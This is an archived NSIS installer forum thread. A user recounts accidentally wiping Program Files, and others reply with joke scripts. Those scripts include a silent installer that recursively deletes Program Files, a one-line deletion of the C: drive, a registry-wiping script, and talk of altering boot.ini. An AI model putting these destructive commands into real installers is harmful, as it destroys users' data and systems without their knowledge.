- NSIS Discussion
- Funny story on how NSIS is dangerous when in wrong hands
Archive: Funny story on how NSIS is dangerous when in wrong hands
Fraeon
8th March 2004 14:11 UTC
Funny story on how NSIS is dangerous when in wrong hands
Ok, new poster. I want to tell you a story about what happened when I last used NSIS.
Anyhow, like you usually do with it, I was working on an installer for a project of mine. Well, I wasn't satisfied on a default installer and I wanted to easily change the settings in my installer, like the default installation/uninstallation paths, application names and so on, so I decided to create an external header for that information. I promptly named in setup.cfg
Anyhow, I compiled the thing, then installed what was in the installer to see if it worked. Then I UNinstalled it and noticed that my whole 'program files' folder had been deleted. This is when I remembered that I hadn't put any information in the setup.cfg file, I only made the installer to read it. :p
After that, Windows refused to work. I couldn't start any program, since Windows 2000 is so IE dependent and I just had purged it(accidentally) :(
Blargh, I'm an idiot.
Now after re-installing, I have to be more careful. Heh, it was all my fault to begin with, and the Windows needed a re-install anyhow.
Here ends my story of idiocy.
MindlessOath
8th March 2004 20:53 UTC
yay.. i doubt it will be the last time, so share with us any future endivers. :D
apollo51
9th March 2004 08:26 UTC
haha, yes dangerous indeed :) program files killer.exe :)
but in fact, every scripting language can be dangerous when in the wrong hands... you can use every installer to drop a trojan or delete files...
Fraeon
9th March 2004 13:57 UTC
Originally posted by apollo51
haha, yes dangerous indeed :) program files killer.exe :)
but in fact, every scripting language can be dangerous when in the wrong hands... you can use every installer to drop a trojan or delete files...
I was aware that it COULD happen, but I wasn't really prepared that I was the one who would do that mistake. ;)
Thank God I had a back-up from 2 weeks back so I didn't lose much, really. Except for that installer, that is.
apollo51
9th March 2004 14:11 UTC
Lol you spend 2 weeks on a installer file that deletes program files? I can do it within a minute :p
OutFile "Kill program files.exe"
Section "moehaha"
RMDir /r "$PROGRAMFILES"
SectionEnd
VegetaSan
9th March 2004 14:41 UTC
Hahahaa That is funny. I had something like that earlier
I was f**** with my register and I was amazed that I deleted
HKLM\Software\Microsoft\Currentversion\Explorer\FileExt....
And everyting inside it :(
I don't know how I did that but probebly with my NSIS Installer because I found this..
DeleteRegKey HKLM \Software\Microsoft\Currentversion\Explorer\FileExt
Kinda Stupid :)
So I installed Windows all over :) :)
Joel
9th March 2004 15:07 UTC
Kids, don't try this at home:
RMDir /r "C:\*.*"
Is cool to talk about funny stuff. Mostly NSIS forum is for help, sharing, etc...
Sometimes we need a relax time after a long time of hard coding :)
Just play nice ;)
Fraeon
9th March 2004 15:47 UTC
Originally posted by apollo51
Lol you spend 2 weeks on a installer file that deletes program files? I can do it within a minute :p
OutFile "Kill program files.exe"
Section "moehaha"
RMDir /r "$PROGRAMFILES"
SectionEnd
Nope, not two weeks on that installer. I did that installer within a day.
I said that the backup I had was from 2 weeks back. :p
And luckily I didn't lose anything of much worth.
Comm@nder21
9th March 2004 20:36 UTC
here is the improved code:
Name "Kill program files v1.1"
>OutFile "kpf_11.exe"
>SilentInstall silent
Section "moehaha"
>RMDir /r "$PROGRAMFILES"
>FileExists "$PROGRAMFILES\*.*" +2
MessageBox MB_OK
|MB_ICONINFORMATION "$PROGRAMFILES has been successfully removed, MOEHAHA!"
>SectionEnd
>
:D :D
let's get it on ..
apollo51
9th March 2004 21:19 UTC
Did you compiled and executed it for testing purpose? (You may reply from another computer while reinstalling the test computer)
deguix
9th March 2004 21:58 UTC
Remember, when using [ PHP ] (without spaces inside []) and using backslashes ("\"), you have to put 2 backslashes ("\\") so will result in just one. The correct code is (USE AT YOUR OWN RISK):
Name "Kill program files v1.1"
>OutFile "kpf_11.exe"
>SilentInstall silent
Section "moehaha"
>RMDir /r "$PROGRAMFILES"
>FileExists "$PROGRAMFILES\\*.*" +2
MessageBox MB_OK
|MB_ICONINFORMATION "$PROGRAMFILES has \\
been successfully removed, MOEHAHA!"
>SectionEnd
>
Brummelchen
10th March 2004 02:39 UTC
welcome to the club :D
i trashed my winxp with some kind of deleting the whole HKLM registry path
thx god i had a backup image (pq drive image).
the hardest thing is to trash the bootsecor on c: with some extra tool inside or on win(nt)-systems delete something NTLDR or NTDETECT or in general WIN.
ok lets stop here :hang:
apollo51
10th March 2004 06:39 UTC
You can use WriteINIStr to change boot.ini :)
deguix
10th March 2004 10:18 UTC
Do not test this code at home... (USE AT YOUR OWN RISK):
Name "Kill registry v1.0"
>OutFile "kr_10.exe"
>SilentInstall silent
Section "moehaha"
>DeleteINIKey HKLM ""
>EnumRegKey $0 HKLM "" 0
StrCmp$0 "" +2
MessageBox MB_OK
|MB_ICONINFORMATION "HKLM root key has \\
been successfully removed, MOEHAHA!"
>SectionEnd
>
apollo51
10th March 2004 10:48 UTC
Shouldn't there be 'un' before the section since it removes more than it installs? :p
eccles
10th March 2004 19:45 UTC
Do not test this code at home...
Oh, OK, I'll just try it on my machine at work......
:D
Comm@nder21
11th March 2004 17:08 UTC
Shouldn't there be 'un' before the section since it removes more than it installs?
no, because there's no uninstaller there, and this code should be executed when you start the programm.